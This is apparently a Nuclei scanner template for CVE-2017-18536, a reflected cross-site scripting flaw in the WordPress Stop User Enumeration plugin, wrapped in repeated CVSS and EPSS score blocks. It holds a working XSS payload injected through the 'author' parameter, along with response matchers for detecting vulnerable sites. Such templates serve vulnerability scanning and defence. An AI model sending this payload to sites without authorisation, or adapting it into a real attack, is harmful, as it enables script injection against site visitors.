4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
38.0%
WordPress Stop User Enumeration 1.3.7 and earlier are vulnerable to unauthenticated reflected cross-site scripting.
id: CVE-2017-18536
info:
name: WordPress Stop User Enumeration <=1.3.7 - Cross-Site Scripting
author: daffainfo
severity: medium
description: WordPress Stop User Enumeration 1.3.7 and earlier are vulnerable to unauthenticated reflected cross-site scripting.
impact: |
This vulnerability allows remote attackers to execute arbitrary script or HTML code in the context of the victim's browser, potentially leading to session hijacking, phishing attacks, or defacement of the affected website.
remediation: |
Update to the latest version of the WordPress Stop User Enumeration plugin or apply the provided patch to fix the vulnerability.
reference:
- https://wpscan.com/vulnerability/956cc5fd-af06-43ac-aa85-46b468c73501
- https://wordpress.org/plugins/stop-user-enumeration/#developers
- https://nvd.nist.gov/vuln/detail/CVE-2017-18536
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2017-18536
cwe-id: CWE-79
epss-score: 0.00088
epss-percentile: 0.3753
cpe: cpe:2.3:a:fullworks:stop_user_enumeration:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: fullworks
product: stop_user_enumeration
framework: wordpress
tags: cve2017,cve,wpscan,wordpress,xss,wp-plugin,fullworks
http:
- method: GET
path:
- "{{BaseURL}}/?author=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "forbidden - number in author"
- "</script><script>alert(document.domain)</script>"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402207c823891eb6883709f3452494cb7d611933a6d1ce289adcdde3457ee7efc3e760220667ae9f3b43295a3bd98c160f18a61e612bac54e6a75d9f5902ac8965176351f:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
38.0%